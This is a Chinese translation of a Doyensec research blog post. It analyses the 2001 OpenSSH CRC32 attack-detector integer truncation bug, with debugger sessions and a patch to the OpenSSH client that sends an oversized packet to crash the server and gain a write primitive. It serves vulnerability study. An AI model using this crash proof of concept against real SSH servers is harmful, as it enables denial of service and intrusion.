深入剖析SSH CRC32攻击检测漏洞:从矩阵到代码执行

本文详细分析了2001年OpenSSH中的CRC32补偿攻击检测漏洞(CVE-2001-0144),包括漏洞原理、利用条件及实际利用过程,探讨了在受限环境下构建漏洞利用环境的技术挑战。

!exploitable Episode Two - Enter the Matrix

27 Feb 2025 - Posted by Dennis Goodlett

引言

如果您是第一次关注,Doyensec团队正在地中海游轮上进行技术探索。在放松、与同事交流的同时,我们也在寻找乐趣。第一部分介绍了我们在IoT ARM漏洞利用方面的旅程,而接下来的博文将在几周内覆盖一个Web目标。在本集中,我们尝试利用有史以来最著名的漏洞之一:2001年的SSHNuke,更广为人知的是电影《黑客帝国:重装上阵》中Trinity使用的漏洞。

简要历史

1998年,Ariel Futoransky和Emiliano Kargieman意识到SSH协议存在根本性缺陷,因为可以注入密文。因此,添加了crc32校验和来检测这种攻击。

2001年2月8日,Michal Zalewski在Bugtraq邮件列表中发布了一份名为“SSH守护进程crc32补偿攻击检测器中的远程漏洞”的公告,标记为CAN-2001-0144(CAN即CVE候选)。

这个“crc32”有一个独特的内存破坏漏洞,可能导致任意代码执行。

2001年6月后不久,TESO Security发布了一份关于他们编写的漏洞利用程序泄露的声明。这很有趣,因为它表明直到6月份都没有可靠的公开漏洞利用程序。TESO知道6个私有漏洞利用程序,包括他们自己的。

请记住,第一个针对内存破坏的主要操作系统级缓解措施(ASLR)直到当年7月才发布。缺乏漏洞利用程序可能是因为这个漏洞的新颖性。

《黑客帝国:重装上阵》于2001年3月开始拍摄,2003年5月上映。令人印象深刻的是,他们为电影选择了这样一个惊人的漏洞,来自当今最著名的黑客之一。

亲自尝试

构建漏洞利用环境最多是无聊的。在海上,没有互联网,尝试构建一个20年前的软件是一场噩梦。因此,当我们的一些团队致力于此时,我们将漏洞移植到了一个独立的main.c中,任何人都可以在任何现代(甚至旧)系统上轻松构建。

请随时从github获取它,使用gcc -g main.c编译,并跟随操作。

漏洞

这是您尝试自己发现漏洞的最后机会。漏洞的核心在以下源代码中。

来自:src/deattack.c:82 - 109

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* Detect a crc32 compensation attack on a packet */
int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
	static u_int16_t *h = (u_int16_t *) NULL;
	static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; // DOYEN 0x1000
	register u_int32_t i, j;
	u_int32_t l;
	register unsigned char *c;
	unsigned char *d;

	if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // DOYEN len > 0x40000
	    len % SSH_BLOCKSIZE != 0) {              // DOYEN len % 8
		fatal("detect_attack: bad length %d", len);
	}
	for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
		;

	if (h == NULL) {
		debug("Installing crc compensation attack detector.");
		n = l;
		h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
	} else {
		if (l > n) {
			n = l;
			h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
		}
	}

这段代码确保h缓冲区及其大小n得到适当管理。这段代码至关重要,因为它运行在每个加密消息上。为了防止重新分配,h和n被声明为静态。xmalloc将在第一次调用时初始化h的内存。后续调用测试len是否太大,n无法处理 - 如果是,则发生xrealloc。

您发现漏洞了吗?我的第一个想法是xmalloc(n * HASH_ENTRYSIZE)或其双胞胎xrealloc(h, n * HASH_ENTRYSIZE)中的整数溢出。这是错误的!

由于对n的限制,这些值无法溢出。然而,这些限制最终成为了真正的漏洞。我好奇Zalewski是否也走了这条路。

变量n在早期声明(C99规范)为16位值(static u_int16_t),而l是32位(u_int32_t)。因此,如果l大于0xffff,则在n = l时可能发生整数溢出。我们能否使l足够大以溢出?

1
2
	for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
		;

这行神秘的代码是我们设置l的唯一机会。它最初将l设置为n。请记住n代表h的静态大小。因此,l就像一个临时变量,用于查看n是否需要调整。每次这个for循环运行时,l向左位移2位(l « 2)。这有效地每次迭代将l乘以4。我们知道l最初是0x1000,所以经过一次循环后将是0x4000。再一次循环,它是0x10000。这个0x10000值转换为u_int16_t将溢出并导致0。因此,所有可能的n值是0x1000、0x4000和0。上述循环的任何进一步迭代都将把0位移为0。

循环在l < HASH_FACTOR(len / SSH_BLOCKSIZE)时运行。HASH_FACTOR宏只是将len乘以3/2。因此,一点数学让我们知道len需要为0x15560或更多,以循环两次。我们可以通过添加以下代码(或使用git repo的cheat分支)用main.c验证这一点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int main() {
	size_t len = 0x15560; 

	unsigned char *buf = malloc (len);
	memset(buf, 'A', len);

    // call to vulnerable function
	int i = detect_attack(buf, len, NULL);
	free (buf);

	printf("returned %d\n", i);
	return 0;
}

然后在我们的Mac上使用lldb调试它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$ gcc -g main.c
$  lldb ./a.out
(lldb) target create "./a.out"
Current executable set to 'a.out' (arm64).
(lldb) source list -n detect_attack
File: main.c
...
   165  int
   166  detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
   167  {
   168          static u_int16_t *h = (u_int16_t *) NULL;
   169          static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
   170          register u_int32_t i, j;
   171          u_int32_t l;
(lldb)
   172          register unsigned char *c;
   173          unsigned char *d;
   174
   175          if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
   176              len % SSH_BLOCKSIZE != 0) {
   177                  fatal("detect_attack: bad length %d", len);
   178          }
   179          for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
   180                  ;
   181
   182          if (h == NULL) {
(lldb)
(lldb) b 182
Breakpoint 1: where = a.out`detect_attack + 200 at main.c:182:6, address = 0x0000000100003954
(lldb) r
Process 7691 launched: 'a.out' (arm64)
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100003954 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAA....
   179          for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
   180                  ;
   181
-> 182          if (h == NULL) {
   183                  debug("Installing crc compensation attack detector.");
   184                  n = l;
   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
Target 0: (a.out) stopped.
(lldb) p/x l
(u_int32_t) 0x00010000
(lldb) p/x l & 0xffff
(u_int32_t) 0x00000000
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100003970 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAA...
   180                  ;
   181
   182          if (h == NULL) {
-> 183                  debug("Installing crc compensation attack detector.");
   184                  n = l;
   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
   186          } else {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100003974 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAA...
   181
   182          if (h == NULL) {
   183                  debug("Installing crc compensation attack detector.");
-> 184                  n = l;
   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
   186          } else {
   187                  if (l > n) {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100003980 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
   182          if (h == NULL) {
   183                  debug("Installing crc compensation attack detector.");
   184                  n = l;
-> 185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
   186          } else {
   187                  if (l > n) {
   188                          n = l;
Target 0: (a.out) stopped.
(lldb) p/x n
(u_int16_t) 0x0000

上面的最后一行显示,在n = l之后,n为0。如果我们继续代码,这个原因很快变得明显。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
(lldb) c
Process 7691 resuming
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x600082d68282)
    frame #0: 0x0000000100003c78 a.out`detect_attack(buf="AAAAA...
   215                  h[HASH(IV) & (n - 1)] = HASH_IV;
   216
   217          for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
-> 218                  for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
   219                       i = (i + 1) & (n - 1)) {
   220                          if (h[i] == HASH_IV) {
   221                                  if (!CMP(c, IV)) {
Target 0: (a.out) stopped.
(lldb) p/x i
(u_int32_t) 0x41414141
(lldb) p/x h[i]
error: Couldn't apply expression side effects : Couldn't dematerialize a result variable: couldn't read its memory

我们得到了一个崩溃,显示我们注入的As为0x41414141。就像我们经过一些美丽的小岛一样。

崩溃

崩溃发生是因为检查h[0x41414141] != HASH_UNUSED(下面的[0])命中了无效内存。

来自:src/deattack.c:135 - 153

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
	for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
		for (i = HASH(c) & (n - 1); h[i] /*<- [0]*/ != HASH_UNUSED;
		     i = (i + 1) & (n - 1)) {
			if (h[i] == HASH_IV) {
				if (!CMP(c, IV)) {
					if (check_crc(c, buf, len, IV))
						return (DEATTACK_DETECTED);
					else
						break;
				}
			} else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
				if (check_crc(c, buf, len, IV))
					return (DEATTACK_DETECTED);
				else
					break;
			}
		}
		h[i] = j; // [1] arbitrary write!!!
	}

如果h[i]是一个可读偏移量呢?经过一些检查后,我们会到达[1],其中h[i] = j。注意j是循环中的迭代次数,我们可以通过缓冲区长度控制它。i是我们的0x41414141,我们可以控制它。因此,我们最终在一个循环中获得了写-什么-在哪里的原语。

崩溃真实环境!

此时,我们有一个正常运行的OpenSSH服务器设置好了。我们需要通过SSH协议1发送我们的缓冲区。我们找不到一个适用于如此过时、损坏协议的SSH python客户端。预期的解决方案是修补OpenSSH加密内容,使其成为简单的套接字连接。

相反,我们修补了源代码附带的OpenSSH客户端。似乎真正的漏洞利用作者可能采取了类似的方法。

使用一个小技巧很容易找到修补位置。使用gdb在SSH服务器应用程序中的易受攻击的detect_attack上设置断点。然后使用gdb调试连接到服务器的客户端。服务器在断点上挂起,导致客户端挂起,等待对数据包的响应。在客户端中按Ctrl+C,我们处于第一个发送到服务器的易受攻击数据包的响应处理程序中。因此,我们进行了以下修补。

来自:sshconnect1.c:873 - 890

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
	{
		// DOYENSEC
		// Builds a packet to exploit server
		packet_start(SSH_MSG_IGNORE); // Should do nothing
		int dsize = 0x15560 - 0x10; // -0x10 b/c they add crc for us
		char *buf = malloc (dsize);
		memset(buf, 'A', dsize - 1);
		buf[dsize] = '\x00';
		packet_put_string(buf, dsize);
		packet_send();
		packet_write_wait();
	}

	/* Send the name of the user to log in as on the server. */
	packet_start(SSH_CMSG_USER);
	packet_put_string(server_user, strlen(server_user));
	packet_send();
	packet_write_wait();

运行这个修补的客户端得到了与main.c中相同的崩溃。

现在去哪里…

重要的是要理解这个漏洞利用原语有很多弱点。h缓冲区是一个u_int16_t *。在小端系统上,因此您不能将任何任意值写入(char *)h + 0。除非您设置j的高位。要能够设置j的所有高位,您需要能够循环0x10000次。

来自:src/deattack.c:135

1
	for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {

循环每次覆盖8(SSH_BLOCKSIZE)字节以增加j一次。我们需要一个大小为0x80000的缓冲区来实现这一点。以下检查限制我们只能写入所有可能j值的一半。

来自:src/deattack.c:93 - 96

1
2
3
4
	if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // len > 0x40000
	    len % SSH_BLOCKSIZE != 0) {
		fatal("detect_attack: bad length %d", len);
	}

此外,如果您想将相同的值写入两个位置,您必须在不崩溃的情况下两次调用易受攻击的函数。但是一旦您导致静态n为0,它在下一次重新进入时保持为0。这将导致l位移循环无限循环。无论它尝试多少次,位移0都不会使其足够大来处理您的缓冲区长度。您可以通过使用任意写入将n设置为任何具有单个位的值(即0x1、0x2、0x4…)来绕过这一点。如果您使用任何其他值(即0x3),那么循环的数学可能会有所不同。

所有这些甚至没有考虑到在detect_attack函数之外等待的挑战。如果校验和失败,您会失去会话吗?如果密文(您的缓冲区)解密失败会发生什么?

所有这些都会影响您选择哪条路线来实现RCE。Trinity的漏洞利用用新的任意字符串覆盖了root密码。也许这是通过将记录器指向/etc/passwd来完成的?这相对于shell代码有什么优势?破坏身份验证流程并将“已认证”位从false翻转为true怎么样?您能否覆盖内存中的客户端公钥,使其RSA指数为0?有这么多有趣的选项可以尝试。您能制作一个绕过ASLR的漏洞利用程序吗?

结论

我们的目标是崩溃一个修补过的OpenSSH。考虑到可用的时间和资源,我们超出了自己的预期,崩溃了未修补的OpenSSH并获得了控制。这是由于团队合作和漏洞利用过程中的创造性时间节省。在整个过程中有大量的理论 crafting,帮助我们避免了时间陷阱。最重要的是,有很多乐趣。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计